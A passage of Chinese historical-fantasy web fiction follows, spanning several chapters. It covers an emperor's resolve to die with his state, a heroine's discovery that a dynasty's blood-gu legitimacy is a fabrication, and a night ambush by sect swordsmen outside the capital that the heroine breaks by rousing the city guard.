宋迎没有打过仗,于兵戈一事,脑子里连个大概都没有。 但她还是仔细研读纸上所写。 “……为备战事,于冀州、云州强征丁壮三万,十六至四十岁男丁,皆应召入伍……” 京州生变,从比邻的冀州与云州征兵,确是最佳选择。 但是,在宋迎看来,这本是可以避免的战争。 何须用人命去填?又不是外邦倭寇来袭,非要拼个你死我活! 视线继续下移,再看拟定的抚恤清单。 伤残者,抚恤十两至三十两不等; 若是阵亡,抚恤银两便能有五十两。 宋迎目光凝在最后一行字上。 要换做是她,她宁可战死沙场,为妻儿换那五十两银,也不愿断手断脚的回去,拿着区区十几两,成为一家人的拖累。 本质上便是拿捏住了百姓的心思,让他们心甘情愿战死沙场。 但是一个健壮男丁,对于他家人而言,又何止五十两。 五十两便能买断一切吗? 买不断。 他的死亡不过是政权更迭的牺牲品。 而这场战争,本不必发生。 烛火在她眸中跳动,映出一丝微光。 终于,宋迎问出了那个盘旋心头多日的问题。 “若是……败了,会如何?” 周梿笔尖一顿,他等的不是如此忌讳的叩问。 他抬起眼,迎着宋迎的目光,决然说道: “绝无可能。” 宋迎心头一震。 是啊,在结局到来前,谁不是一身傲骨,坚信自己才是天命所归呢? 所有的反派不都是如此。 狂妄强大是为了衬托主角最后成功的不易。 ——沦为垫脚石。 宋迎垂下眼眸,她该怎么说…… 在她看来,这是一场必败的局。 江山终将倾覆。 燕氏必将复兴。 “如果,我是说如果……” 她只能苍白的 去假设,去逼问出那个她想要的答案。 “你会——” 跟我走吗? “不会,”周梿像是知道她要说什么,截断了她的话,也斩断了她所有的痴念幻想。 他是前所未有的平静, “朕,与国同休。” 宋迎心脏骤停了一瞬,随即急促狂跳得仿佛要破开胸腔。 她先前所有的设想,被这一句话粉碎得彻底。 ……是她不够了解他。 她自以为已经很了解他了。 是啊,一个耽于享乐的昏君,怎么会深夜批阅奏折? 一个无心国事的君主,又何须在不能上朝时,依旧日日听政? 他分明深爱着自己的国家。 那她还什么理由与立场去说服他, 让他抛却自己的信仰,跟她走? 纵然她以死相逼,难道要让他于愧疚中苟活余生? 于他而言,死亡或许是最好的结局。 宋迎深吸了一口气,将那股寒意吞进肺底, 而后缓缓吐出,仿佛如此便不会埋在心底,令她心伤难过。 力气被倏然抽走大半。 她转过身去,后腰抵靠在桌沿,才没让自己滑落在地。 眸中烛火还在跳跃,映在她眸中,犹如干柴烧尽,留下余烬,蒙上一层死灰。 见宋迎神色不对,周梿才意识到自己失言。 话说得太绝,也太早了。 他几乎是立刻起身,一个箭步将她捞进怀里。 脸颊贴上他胸膛,耳边是他的心跳声, 震动而起的酥麻感,让她破碎心魂重新聚拢。 她没有半分犹豫,双手环住他的腰。 没有说话, 只是将脸埋得更深、更用力地抱紧了他。 周梿下颌埋入宋迎发间,指腹摩挲着她肩头。 方才有多决绝,此刻便有多愧疚。 终究是他强求了她。 是他的私心,让他问出那句—— “要不要一起回京州?” 他何其自负,以为带她回京州,不过寻常事。 却没算到,剑云宗竟有这般破釜沉舟的决心,敢用整个门派的百年清誉,来趟朝堂的浑水。 一旦牵涉朝堂,不过是步南疆没落后尘。 可是,若真将她舍在辽州…… 他也是不愿的。 纵使前方是刀山火海,纵使他会输得一败涂地,他也绝不放手。 他从来都不是那些为了天下苍生、为了心爱之人安好,便能将其推开的圣人。 他自私透顶,他卑劣入骨, 若非死不可,合眼之前,他看见的最后一个人,必须是她。 哪怕明知她会受伤难过, 但,那就是他恶毒的私心。 他认了! 幸好—— 他忽然又想到,若他真的死了,以宋家和燕贼如今的关系,她至少……能活下去。 想到这里,他心口竟然腾起一丝荒唐的慰藉。 怀里的人抖得更厉害了,战栗通过紧贴的胸膛,让他的心脏一阵抽痛。 “阿迎,别怕。” “我没有怕。” 不怕身子又怎会抖? 他心里有些发酸。 周梿叹了口气,顺着她哄道: “好,没有怕。” 窗外,冷寂青灰沿着天际缓缓洇开,像是被水浸开的颜色。 黎明前的寒意,或许要比沉暮冷得多。 周梿目光落在天边那抹死寂上, “朕做过很多错事——” 他记得被铁链锁住的日子。 奇蛊毒性霸道,寻常毒药奈何不了他,皮肉伤也能转瞬即愈。 于是,他被锁在东北角最偏的院子里。 日光透过高窗斜割一道,每日准时划进他眼底。 目盲痛苦大约会持续一个时辰; 远处,宫人模糊的嬉笑声,隔着几重宫墙,却依旧能却尖锐刺进耳膜,犹如钝刀磨骨; 还有腐臭的气味, 食物的酸腐混杂着霉味,日复一日,经久不散。 在这无尽折磨之中,他等来了一个人。 那时候的润德,年逾四十,还还是没有混上大监的职位。 被人呼来喝去,嫌弃晦气,才打法来照料他,给他送吃食。 他看不清,却认得他的气味。 似乎与幼孩时候的他有过一面之缘。 润德什么也没问。 他只是默默地掏出干净的布条,小心翼翼地掖进他流血的耳朵; 又用另一块布团堵住了他的鼻孔; 最后,用他自己的衣裳,蒙住了高窗,让一丝亮光也透不进来。 那股几乎要撕碎自己身体的狂躁暴戾,终于安静了下来。 失控的日子他并非不记得。 所有,他都记得。 记得清清楚楚。 而后,在黑暗中,他看见润德鲜血淋漓的双手。 骨节错位,皮开肉绽,似乎是被人打的。 方才褪去的金芒又重新燃起。 那一年,他六岁。 后来,润德会偷偷捧着书来找他。 那本书页,被他的血洇开了一角,字迹模糊。 ——“民为贵,社稷次之,君为……” 君为,什么? 他看不清。 他也无须看清。 等他为君,答案自会揭晓。 再后来,一夜宫变。 天光惨白,偌大宫城没有半点人声,仿佛连风都被他屠戮殆尽,不敢吹动宫墙之上的幡饰。 天地间,静得只剩下他和润德二人。 他站在宫墙之上,俯瞰着万里江山。 忽然就想这么一跃而下,了结这荒唐宿命。 润德却将头磕得鲜血淋漓。 他泣不成声,嘶哑哭嚎: “江山不可无主!陛下是景国唯一的血脉!三思啊陛下!” 什么社稷江山,不如都跟他一起覆灭! 可他的目光,却不自觉落在了润德额前那汪小小的血泊上。 又是血。 熟悉的腥甜气味,在霎那间让他平静下来。 他盯着那滩血,应下了润德的所求。 登基后,他自然知道了那句话的全貌。 ——“民为贵,社稷次之,君为轻。” 真是可笑,君王竟然是分量最轻的那个! 荒谬至极! 既然这副残躯无法临朝,不如就让他看看,这个“君为轻”的天下,能被他玩弄成什么样子! 他命人将奏折抱来寝宫,或准或驳,全凭心意,搅得朝堂天翻地覆! 欣赏着朝臣诚惶诚恐的样子,昨日还炙手可热的大臣,今朝便可能因笔锋一转而流放千里。 他享受着权柄。 直到高伯深夜叩宫门,寻死觅活地哭谏,不愿辅佐他这个昏君。 那汪温热黏腻的血泊,又一次,猝不及防地在他眼前漫开。 他想起了润德额上的血,想起那本被血洇湿的书。 他摸出那本书,时过境迁,书页翻动间有些发硬。 他忽然发现,自己竟能读下去了。 ——他何须亲自下场? 书中的权衡之术数不胜数。 他心情甚好地将高伯请了回来。 自此,稳坐钓鱼台,冷眼看群臣。 “阿迎,” 周梿回过神,幽幽叹了口气。 “你还记得,当初向朕许诺的那个‘清明朝堂’吗?” 宋迎埋在他怀里,抱他抱的更紧了。 她没有说话,只是用力地点了点脑袋。 “那你如今……做的怎么样了呢?” 宋迎僵了一瞬,随即仰起头,对上目光后瞬间泄了气,“……不怎么样。” “清明朝堂……” 周梿咀嚼重复着这四个字,满是自嘲,“千古以来,无前人做成。朕自然也做不到。” 那他当初……? 周梿眼底温存倏然化为锐利寒光, “朕做不到,也不信后来者可以做得到!” 宋迎的呼吸一滞。“那你当初……” “有些事,不亲历,不 知其难。” 他声音冷了下去,“以燕氏那等心性,就算朕将这江山拱手相让,她也撑不过百年。” “既然她做得尚不如朕,朕为何要退?又何须退让!” 原来他什么都知道。 他早就知道了! 宋迎的瞳孔猛然一缩,震惊到几乎无法呼吸。 他留着黎婧容,是为了给她留一条退路? 他是不是在害怕? 他怕他会输,怕他会死,怕他护不住她! 如果死亡注定是结局—— 如果他注定与国同休—— 那她呢? 与君同葬…… 不! 凭什么结局一定要由执笔者说了算! 她偏要逆天而为! 事情还没有到最后一刻,一定会有转机的! 就算—— 就算只能改动半字, 那也算她赢! 第56章 第56章黎婧容线。 剑云宗设在万仞绝壁之上, 而通往山门的,是一条万阶梯,没入高山云海。 “我在山门口等你们。” 怀玉珩声音尚未散尽,身形便消散于无形。 他轻功神鬼莫测,甚至到了出神入化的地步。 ——因此,也鲜少有人见他真正拔剑对敌。 黎婧容抹去眼下泪痕,转身朝山下走去。 山风正烈,将二人广袖吹的鼓荡翻飞。 只走了几步,黎婧容倏然停住脚步,朝后望去。 怀玉泽立于她身后三尺台阶上,见她神色有异,眉梢微不可察地一动。 “师兄,” 怀玉泽双眉渐拢,他和容儿青梅竹马,远不止师兄妹这般生分才对。 “燕国地立国之本,难道……不就是一场巨大的骗局吗?” 黎婧容眸光未散,山风吹动着眸中潭面,掀起阵阵涟漪。 她将目光从怀玉泽身上收回,投下身侧翻涌云海,喃喃重复着: “一场骗局……立国之本,就是一场骗局!” 怀玉泽自知她道心已然不稳,一步跨越三尺石阶,疾掠至她身前。 伸手想要抱她,却被她轻巧推开。 自从他带她去了剑阁,很多事都不一样了。 ——剑阁虽称之为剑阁,却并非武器所,而是剑云宗的卷宗密库。 其中不仅存放着宗内弟子的身份卷册,更是记录了天下奇闻。 虽然未到包罗万象的地步,却也足以查出南疆与燕国渊源往事。 千百年前,剑云宗尚未立派,万蛊神教已在世间声名赫赫。 神教坐落于深山密林之间,是世人梦寐以求的朝圣之地。 ——只因其蛊,既可医治沉疴宿疾,令人起死回生;亦能杀人于无形,教药石罔效。 然而,教中有一支派系,钻研着一门禁术—— 以人血为引,滋养蛊虫。 此法炼出的蛊,其毒性、药效与精纯,远胜寻常百倍千倍! 可此等邪术,为正统神教所不容,被斥为异类。 于是,这群教众,便离开了万蛊神教,自立门户。 然,他们手中血蛊秘术诡谲强大,引得无数信徒追随,势力日益壮大, 最终盘据一方,成立了燕国。 又是百年光阴逝去, 曾经辉煌神教固步自封,逐渐走向衰亡。 反之燕国,却日渐强盛。 走投无路之下,昔日高高在上的神教只能求于燕国。 至此,万蛊神教改名为南疆,附庸燕国。 所谓圣女,便是以联姻为名,送往燕国皇室的质子。 而燕国皇室,则借此宣扬“唯有皇室血脉,方能炼就至强之蛊”,自诩天命所归。 又是百年光阴倏忽而过。 传至黎婧容这一代,那套说辞又变成了—— 秘术传男不传女。 只因女子之血,阴柔偏弱,远不及男子之血那般刚猛有力。 可是—— 黎婧容通红眼中满是血丝,山风将她的话吹得又轻又飘, “难道……不是骗局吗?” 见怀玉泽许久不说话,黎婧容心头愈发焦急,忍不住上前一步追问: “怀哥哥,你不是也练成蛊术了吗?” 什么传男不传女,什么唯有皇室血脉……统统都是骗人的!! 就连师叔也在骗她! 他总是说,她在蛊术上天赋平平,难有大成,不如随他回剑云宗,静心修剑,稳固心脉。 怀玉泽被那一声久违的“怀哥哥”唤回了神。 他心头一松,暗自舒了口气。 方才她那般疏离冷淡,他还以为…… 以为容儿要舍他而去了。 “不错,”怀玉泽坦然颔首,“我的确炼出了蛊,但其精纯,远不及传闻中的万分之一。” 继而声音略沉: “不过,这也足以证明,所谓的‘天命血脉’,不过是燕国皇室蒙蔽世人,用来巩固权位的谎言。” 是啊,是一场弥天大谎。 追根溯源,竟然是如此丑陋不堪。 那她背负的大业……真的还有必要吗? 一时间,黎婧容心乱如麻。 愁绪攀上眉宇间,连带着眸中潭面都凝为冰霜。 “你想做什么,便只管放手去做。” 怀玉泽见她神色颓然,复又说起先前承诺,他伸手揽过黎婧容的腰,将她带入怀中。 还好,这次她没有推开他。 “天塌下来,师兄给你顶着。” 黎婧容缓缓吐出一口浊气,放松了些。 顺势将头偏靠在怀玉泽肩上。 “没有宋迎……” 她轻声说道,话只说了一半—— 怀玉泽眉头瞬间打成一个死结,宋迎?怎么这里还有她的事!? 他一路上与容儿寸步不离,宋迎不可能…… 突然,怀玉泽想起那天容儿彻夜未归。 难怪…… 难怪第二天她神色那般古怪! 原来是宿在宋迎的房间里。 他当时担心等了一晚上! 怀玉泽暗自捏紧拳头,容儿一定是受了宋迎的蛊惑! 他与容儿一同长大,除了他,她不应、也不该与旁人如此亲近! 她单纯善良,若不是有人蓄意蛊惑,她绝不会做出这种事! 宋家门风清正,教出的长子宋晋同也是个有担当的君子, 怎么偏偏生出的女儿,行事作风竟如此……出格! 勾/引人夜宿她房中,简直、简直不知廉耻! 怀玉泽心中那点因宋晋同,而对宋迎生出的微末好感,顷刻间便被碾得粉碎。 “没有宋迎,”黎婧容却浑然不觉他的心思,侧目望向怀玉泽,眼角弯起笑意,“我可能还想不到这一层。” 黎婧容侧首的瞬间,怀玉泽眼中快要溢出来的怨毒,霎时被眯起来的眼缝挡的死死的。 怀玉泽敛去情绪,眉峰却依旧紧锁着。 他问道:“所以,你把义军令牌给了宋迎?” “没有。” 怀玉泽一惊,眉心皱得更深。“没有?” “我……给了宋家嫂嫂。” 那时,黎婧容刚虎口脱险,便被闻讯赶来的怀玉泽救下。 她曾以为,自己找到了一个最好的法子。 ——刺杀暴君,以一人之死,换天下安宁。 怎么算,都值得。 但她不愿牵连师门,亦没有动用剑云宗在江湖铺设的眼线网。 便瞒下了所有人,孤身一人,悄然下山。 想着,只要假借一个秀女的名头,便能神不知鬼不觉地混入深宫。 却未曾想过,自己一旦败露,势必会牵扯秀女一家满门, 更未曾想过,最后竟是诛九族这般惨烈! 若是计划再周密一分,若是当初带上了怀哥哥…… 如果…… 这世上偏偏没有如果。 直到她听说,十二秀女中,唯有宋迎活了下来, 她便萌生了救她的想法。 总觉得……救下了宋迎, 是不是能为曾经的自己赎一点点罪? 但是她怕,宋迎不信她。 她连她的名字都不想知道,又怎会愿意相信她呢? 于是,她去了趟辽州宋家。 想着一封家书,定能让宋迎信她。 宋家盼女归家之心,急切万分。 当她道明来意,宋家二老听闻爱女尚有生机, 竟是老泪纵横,当即跪地叩首,任她怎么扶都不肯起来。 一旁,宋家嫂嫂以此为由,总算劝动二老用了些饭食。 她刚转身,宋家嫂嫂便对她屈膝弯腰—— 她下意识伸手,扣住对方手腕,不让她拜下去。 却听宋家嫂嫂抬眸笑道: “恩人不受叩首大礼,莫非 连这点心意也要拒绝吗?” 一句话,便让她无所适从。 腕下一空,宋家嫂嫂已然弯下腰去。 好温柔的人。 单单是谢礼,便能让人如沐春风。 可就是这般温柔的人,提笔撰写家书时,却哭得接不上力气。 信笺晕开墨迹, 她写了撕,撕了又写。 终是趴在桌案上恸哭起来, 触及她目光,却也强撑着抬头,对她扯了下唇角: “黎姑娘,见笑了。” 黎婧容垂眸避开,余光却不慎瞥见了一张废弃信纸。 模糊的字迹间,依稀能辨认出几行: “琉璃高瓦,怕是此生再难相见。 今日,嫂嫂只求茵茵一事。 忘却前尘,保全自己。” 她不是说了会把人救出来的吗? 怎么不是劝说求生的家书,反倒成了诀别书? “宋夫人!”黎婧容一时情急,脱口而出,“我……我是想请您写信,让宋姑娘信我,好让我有机会带她出来,并非是……” “……并非是要你们就此诀别啊!” 宋家嫂嫂摇了摇头,用袖口拭去残泪, “黎姑娘说的好轻巧,可要去的地方……不是龙潭虎穴吗?” 那双通红的眼睛望着她, “茵茵能出来是好,可若是就此搭上黎姑娘一条性命……我们宋家于心何安?” “……我也是不愿的。” 黎婧容怔住了。 她没想到,对方居然会担心她这个外人的安危。 ……好温柔的人。 那么温柔,让她想起了她母妃。 虽然她早已记不清母妃容貌了,只依稀记得母妃身上的气息……也是这般,温柔似水。 …… “在下已践诺,今日启程,特来向夫人辞行。” 启程辞行那日,宋家嫂嫂给了她好些干粮。 真是个好温柔的人, 还特意烙了好多肉馅饼! 心中几番挣扎,她一咬牙,还是将令牌令牌从袖中取出,塞进了宋家嫂嫂的手心。 宋家嫂嫂望着掌心令牌,大惊,忙不迭地要推还回来: “这、这……黎姑娘为何要交予我?” 黎婧容想了想,打算照实说道, “其实,我也不知道为何……” “可能我现在勇气,只能支撑我走到这一步了,” 继而展颜一笑,抬起眼,郑重望向对方。 “但是,我想跟着心,选这一次。” 黎婧容一边说着,一边缓步朝山下走去。 然而,就在话音落下地瞬间—— 她突然顿住脚步,蓦然抬首。 “我……”她尾音上扬,带着一丝不确定的颤抖,“我好像……突然想起一些事情。” 她恍然望向怀玉泽,指尖不由自主地颤栗起来。 下一瞬,便被怀玉泽一把握住。 怀玉泽当然知道她想起了什么。 “你不是说,已经忘了么?” 可是她想起来了! 大火焚宫那一天—— 师叔骗了她! 师叔骗了她好多事!! 满目震惊垂下,再度掀起便是决然一片。 黎婧容挣开怀玉泽的手,正色说道: “方才,我一直犹豫不决,如今我已经下定决心了!” 怀玉泽眉心紧蹙,下意识将她的转变归咎于那个人: “是不是因为宋……” “不,”黎婧容打断道,“是我自己,做出的选择。” 劲风从旁侧刮过,怀玉珩身影再度出现在二人面前。 “师父有令,” 怀玉珩声线没有丝毫起伏,“命师兄,率五堂少主,即刻前往京州城外,截杀二人。” “……是。”怀玉泽应下。 听到这个命令,黎婧容反而松了一口气,那如此,她就不必去山下—— 她刚想跟上,一只手臂却横在她面前, 是怀玉珩。 “大师姐,”他依旧是那副公事公办的口吻,“你的任务是去山前动员,此事,不必插手。” 啊? 她与怀玉泽向来形影不离,师门却偏要将他们拆开? 再联想方才那句—— 京州城外…… 截杀二人…… 难道是! 黎婧容猛地转向怀玉泽的方向, “怀——” 只来得及喊出一个字。 怀玉珩已揽住怀玉泽的肩,两人身形一闪,化作一道残影,瞬间消失在山道尽头。 糟了! 第57章 第57章打起来了! 夜风裹着寒意,扑在宋迎脸上,脑袋往下埋了埋。 离京州还有不足半日的路程。 宋迎和周梿一合计,打算趁着月色,连夜回宫。 一来,京州不比他处,天子脚下,白日里人多眼杂,难免生出不必要的枝节。 二来,宋迎实在太久没有舒舒服服泡个热水澡了。仅仅是想到热水,她便归心似箭。 至于周梿,内力深厚,多赶半夜路于他而言,不过是小菜一碟。 宋迎伏在周梿背上,望着远处连绵灯火,正是京州的方向。 她忍不住指向前方,欢呼道: “阿梿,我们快到家了!” 周梿轻哼一声,唇角扬起的笑意,却在下一瞬倏然凝固。 几乎是同一时刻,宋迎察觉到他背上肌肉一瞬的紧绷。 出事了? 她下意识侧目一望,一道凌厉剑光便撕开墨色,擦着她颈侧而过,堪堪斩落她一缕发丝。 好厉害的剑术! 天下间,能有如此剑意地,唯有剑云宗! ……怀玉泽? 果然是他。 一击未中,他悄然收剑,身形迅速蜷成一团,避开周梿紧随而至的掌风, 下一息,他便立于参天古木顶端。 月色流淌在剑锋上,半遮住他那张晦暗不明的脸。 与上回相见不同,他今日换了身夜行衣。 宋迎心下了然—— 他们不仅被埋伏了,瞧这架势,像是剑云宗下死手,还不打算暴露身份。 ……但,那身夜行衣的料子,一看就没她身上的这件贵! 周梿背着宋迎,身形纹丝不动,悬停于空中。 宋迎视线飞快扫过四周, 除了怀玉泽,周围树影间,还立着四道黑影。 林海无声,月色森然。 五人各占一方,已然形成包围攻势。 没有黎靖容? 她和男主不应该是形影不离吗? 要么是她知情,不愿意来; 要么是她根本不知情,被可以支开了? 无论是哪一种,都意味着今夜局面,棘手到了极点! 更糟糕地是—— 此刻,她正趴在周梿背上,根本就是一个活靶子! 必须想办法改变这个局面! 但周梿似乎没有意识到这个状况。 原本托着她两条腿的手松开了一只,内力霎时在掌心凝聚,凭空捏了团掌风。 宋迎只觉右脚一空,不得不将全身力气灌注到四肢上,死扒着他,才不至于滑落。 就在这时,其中一人率先发难,剑尖破空而出! 周梿带着宋迎轻巧闪过。 身法看似游刃有余,可对于宋迎而言,每次闪避,她都能感受到强烈的失重感,森然剑气几乎贴着她肌肤划过。 跟她在刀剑上蹦迪有什么区别! 不能再这样下去了! 宋迎心一横,稍稍捏了捏周梿的肩膀。 紧接着,她毫不犹豫松开环着他脖颈的双臂,整个人直挺挺向后仰去! 这猝不及防的一幕,让围攻的五人齐齐一怔。 就连为首的怀玉泽,紧握着剑柄的手,指节都因一瞬的错愕而僵住。 电光火石间,周梿立马明白了她的意思。 松手的同时,身形霎时俯冲,长臂一伸—— 在宋迎坠至树冠前,精准无误地将人捞入怀中。 顷刻间,天旋地转。 宋迎就从他背后,转到了他胸前。 宋迎默默给自己点了个赞。 要是从他背上爬上爬下的,姿势也太难看了。 不如纵身一跃,等着被捞。 更重要的是,如今这个姿势,她视野开阔不少,能清晰看清敌人 动向。 周梿单臂将宋迎抱在怀里,竟然足不点地,身形就从下坠之势,陡然转为冲天而起! 此人……居然纯凭内力御空! 要知道,内力珍贵,高手对决,每一分都要用在刀刃上。 除了专精轻功之人,谁会如此奢侈,将内力耗费在身法上? 更何况,他手无寸铁,掌风更需内力催动! 除非—— 除非此人内力已然深不可测,浑厚到视这等消耗为无物! 念及此,五人心中剧震,不约而同倒抽一口凉气。 周梿却不会给他们惊骇的时间。 另一只空着的手,掌心真气突然暴涨,一道凝实掌风不由分说,直直朝着离他们最近的一人狂劈而去! 借着这一击的推力,他们顺势冲破了合围阵型! 那人已是躲闪不及,仓促间,只能横剑抵挡。 “铛”一声,他被那霸道劲风震得气血翻涌,连退数步。 阵型已破,其余四人面色一变,立刻提步急追而上! 突然,一名使软剑的黑衣人绕至身前,剑尖一挑,看似要攻上。 却被周梿于毫厘间以足尖点开,轻易化解。 可是立马—— 头顶上空,破风声骤然大作,竟有数十枚小剑如暴雨倾注而下! 与此同时,那人同伴则双手各持一柄长剑,隔空劈出交错剑气,封死周梿闪避的方位后,也为漫天剑雨作了掩护。 天罗地网! 来不及的—— 他单手抱着一人,绝无可能在格挡剑气的同时,躲开剑雨! 然而周梿却是以掌为刃,瞬息间在身前划出一道弧光! “叮叮叮叮叮叮!!!” 急促交击声过后,数十枚小剑如同撞上墙面,瞬间失了准头,纷纷坠落。 宋迎则安然靠在周梿怀中,双手搭在他肩膀上,分析着敌人路数。 一个使软剑的,游走不定,骚扰牵制; 一个使重剑的,气势沉雄,主要防御; 方才漫天剑雨,是大范围AOE, 而那双剑剑客,看似猛攻,实则是在为同伴创造时机。 是配合极为默契的剑阵。 而身为阵眼和主攻手的,怀玉泽,从始至终都立于远处。 他却迟迟不出招—— 不对劲, 很不对劲。 说不上来,但是宋迎总有一种不好的预感。 周梿武功再高,他既要顾着她,又要应付五人的围攻。 时间一长,肯定会露出破绽。 宋迎将脸埋进帽兜,压低了声音。 怕对方读唇语,又怕声音被风吹散: “放我下去!” “这里离城门不远,我能跑过去!” 回应她的,是周梿微转的侧脸。 以及,腰上骤然收紧的力道。 他根本不相信她! 宋迎压着火,耐心劝道: “没事的,我刚才看了,底下有大草垛!到时候,你飞低一点,再把我扔准一点。” “绝对不会有事的!” 二人说话间隙,五人再次摆出剑阵,扑了上来! 周梿似乎是被她的话激起几分傲气,搂着她,径直迎了上去。 又是一阵天旋地转! 宋迎只觉远处灯火化作点点流光,整个人不是随着他急速旋转,就是被带着倒翻。 她脑浆都要被晃匀了! 真是每一个反派都是如此…… 狂妄自大!!! 剑锋再度擦身而过,宋迎瞳孔一缩,余光瞥见,周梿衣摆被削去一片。 她的耐心终于告罄。 “你还要在这里陪他们玩多久!”她猛地屈膝,顶了他一脚,“赶紧把这几个人收拾了回去找我!” 这招果真好用,周梿终于对她的话有了些许反应。 他身形一顿,腰间手指狠狠捏了她一把。 同意了? 宋迎痒得倒抽一口凉气,一时间分不清是惩罚还是默许? 下一刻,周梿便不再恋战,抱着她猛地向下俯冲! “抛!” 宋迎尽全力喊出指令。 几乎是瞬间,手臂一振,一股巨大力道将她送了出去。 失重感和下坠感同时传来! 她竭力在空中稳住身形,祈祷能降到预设的位置。 好在,周梿的力道与准头都堪称完美。 宋迎下意识抱着脑袋,蜷起身体,以背部着力作为缓冲,砸进了那摞草垛里。 “人跑了一个!” 上方传来黑衣人惊呼。 宋迎扒拉着纷飞草屑,向上一瞥—— 只见半空中,周梿双手齐出,两道磅礴气浪竟然将五人剑势全数震开! 好样的! 宋迎觉得自己的计划非常成功,她身上带着信物,只要进了城门,就可以调动卫兵接应! 剑云宗夜半而来,肯定是不想将事情闹大。 他们怕什么,她就偏偏要搞什么! 跑——! 跑快一点! 跑得再快一点! 伴随着急促呼吸声,前方两簇火光在她眸中不断跳动,越燃越亮。 …… 周梿余光瞥见那道身影正朝着城门狂奔而去,便再无半分顾忌。 他掌风陡然凌厉,轰向那名使双剑的黑衣人! 只听“啷当”一声,双剑竟然应声断裂。 双剑剑客本人更是如遭雷击,喷出一口鲜血便飞了出去,生死不明。 怀玉泽见同伴倒飞出去,顿时怒不可遏: “暴君!你滥杀无辜,数百条性命殒于你手,今日便是你的死期!” 怀玉泽不再藏手,率领其余三人合围而上。 旁人护住侧翼,他则化作流影,剑尖直指周梿心口。 周梿不躲不闪,气刃飞出,霎时将怀玉泽剑势击退。 自胸腔而起的声音森然可怖,“残害百姓?” “呵……” 他嗤笑出声,“饮血尚能止渴,那些人为我所用,便是死得其所。” “那你们剑云宗呢?一年一度的宗门大比,死伤弟子可不少啊。” “你们,又算什么?” 这一问,怀玉泽瞳孔骤然一缩。 他一时语塞,气得浑身发抖: “你!你休要胡言!” “我胡言乱语?”周梿狂笑着逼近,气势如山当头压下,“我做的事,我认了!” “纵使他日史书工笔将我钉在耻辱柱上,受万世唾骂,我也一并认了!” “你们呢?你们敢认吗!” “你们引以为傲的剑术,是踏在同伴的尸体上——你们敢认吗!” 趁两人对话间隙,一名使软剑弟子瞅准时机, 手腕一翻,剑锋如毒蛇一般,从侧面袭向周梿—— 剑锋未至,周梿兀自朝旁探出五指,精准无误地扼住了偷袭者的咽喉! 那人被他单手轻松上提,双脚在半空胡乱蹬踹,喉咙发不出一点声音,只能抛却软剑,用十指死命去抠周梿虎口—— 却撼不动那铁钳分毫。 “小师弟!”有人惊呼着要去救,“大师兄,别跟他废话了!快救人!” 怀玉泽却攥着剑柄,盯着被周梿钳制在半空的同门,竟是岿然未动。 …… 还有一点点路程了! 宋迎闻见了火把的味道,笑意刚刚爬上唇角。 然而下一瞬,她的笑容僵在了脸上。 一道白衣身影,突然出现在她眼前,拦住了去 路。 来人面容淡漠,无波无澜的眼眸静静看着她,开口问道: “你,就是宋迎?” 第58章 大结局天元圣 他是谁? 宋迎记得刚才没有看见他。 更何况,此人还穿了一袭白衣,如此招摇,在夜色里应该很显眼才对啊。 宋迎下意识后撤半步,拉开些许距离。 他动作实在太快了,她都没有看清,他是从哪里冒出来的。 敏捷型的? ……刺客? 如果真是这样,那她无论怎么跑都跑不过他。 轻举妄动可能还会激怒他。 宋迎压下急促喘息,飞速盘算着对策。 余光一瞥,周梿正和那四人缠斗,一时半会是指望不上了。 看来,只能先走怀柔缓兵之计。 保命要紧。 她深吸一口气,开口就是示弱, “……是。我就是——” 她话还没说完,那人身形一晃,已然行至她面前。 好快! 宋迎瞳孔倏然紧缩,不禁屏住呼吸。 ——她、她要死了吗? 可下一瞬,宋迎只觉后领一紧,整个人被巨力提了起来! 还没来得及反应,胸口又被踹上一脚,她已经没有多余气力去稳住身形,只能任由自己被贯起,再重重落地! “呃!” 先是提领,再是飞踹,这次又是后背着地。 宋迎觉得自己身子前后都痛得要死,眼前发黑发蒙。 但是还好, 她自己估计了一下,大概没骨折。 她挣扎着撑起上半身,视野重新清晰起来。 宋迎这才愕然发觉,自己竟然被踹上了城墙?! 朝后一看,身下还压着好几个被她砸得东倒西歪的卫兵。 而后,周围的其他卫兵迅速反应过来。 “唰唰唰”,数把明晃晃刀刃将她团团围住。 刀剑几乎要抵上她咽喉。 生死一线,宋迎顾不得疼痛,连忙从怀里摸出令牌,厉声道: “吾乃摄政亲王,奉陛下密令办事,尔等还不速速下跪听令!” 宋迎喊得都要喘不上气了,眼角余光匆匆一瞥,等看清手中之物,才暗自长舒一口气。 还好,没拿错。 掏错了就要被就地正法了。 为首的卫兵长定睛一看,见令牌盘龙绕日,正是宫中信物。 顿时脸色大变,连忙喝令收刀,与众人齐刷刷跪地: “参见殿下!” 宋迎来不及思考,刚才的白衣去了哪里,为什么不杀她要帮她。 更来不及理会眼前这帮人。 危机暂时解除,她一把推开身前人,奔至城墙垛口,急切朝前上方望去。 他们还在打。 刀光剑影,战局焦灼。 “来人!” 宋迎一手撑着城砖,一手指着上方,“面戴玄铁面具之人,是护送本王的统领!其余人等,皆是叛贼!” 深吸一口气,压下胸口剧情,她扬声下令: “给本王——拿下!!” “得令!” 方才城外神仙打架,不在辖区之内。 他们不敢擅动,只能干看着,如今得了王令,便再无后顾之忧! 卫兵长当即振臂一挥,待命多时的弓箭手即刻出列。 “上弦!” “拉弓!” 城墙上,两排弓箭手引弓满月,齐齐对准高空之上,只待一声令下。 “慢——!” 离弦刹那,宋迎出声喝止。 她目光锁着纠缠身影。 射程不够。 拉弓上弦皆需时间,一击不中,只会打乱全盘节奏。 等。 必须要等一个万无一失的机会。 他们身法再快,也不可能时时刻刻都避在射程之外。 战局瞬息万变。 所以一定要等! 机会说来便来—— 周梿扼住一人脖颈,五指恰巧一松,那人应声而落—— 就是现在! 宋迎果决喊道: “一队!放——!” 一声令下,第一排箭矢呼啸撕裂夜空,直直扑向下坠的叛贼! 其余几人见状大惊,不得不分神去救,阵型瞬间大乱。 围攻之势,再次瓦解。 只有怀玉泽一人,仍与周梿缠斗。 可方才五人合围尚且动不了周梿分毫, 如今只剩他一人,又岂能扭转乾坤? 不出十招,怀玉泽便已然落入下风,只能不断靠着倒翻侧跃来规避攻势。 就在此时,周梿身形倏然一顿,竟然虚晃一招,借力朝宫城方向飞去! 宋迎瞬间会意。 “二队掩护!” 继而声线拔高! “城上击鼓,全城戒备!” 她要的,就是把事情彻底闹大! 卫兵长不敢怠慢,立刻复述传令,声传百步: “城上击鼓!全城戒备!” 数名卫兵高声复诵,朝各处奔去: “擂鼓——!” “全城戒备——!!” “咚——!” 第一声鼓响炸起! 紧接着,沉闷急促的战鼓声瞬间响彻夜空: “咚咚——!” “咚咚咚——!” 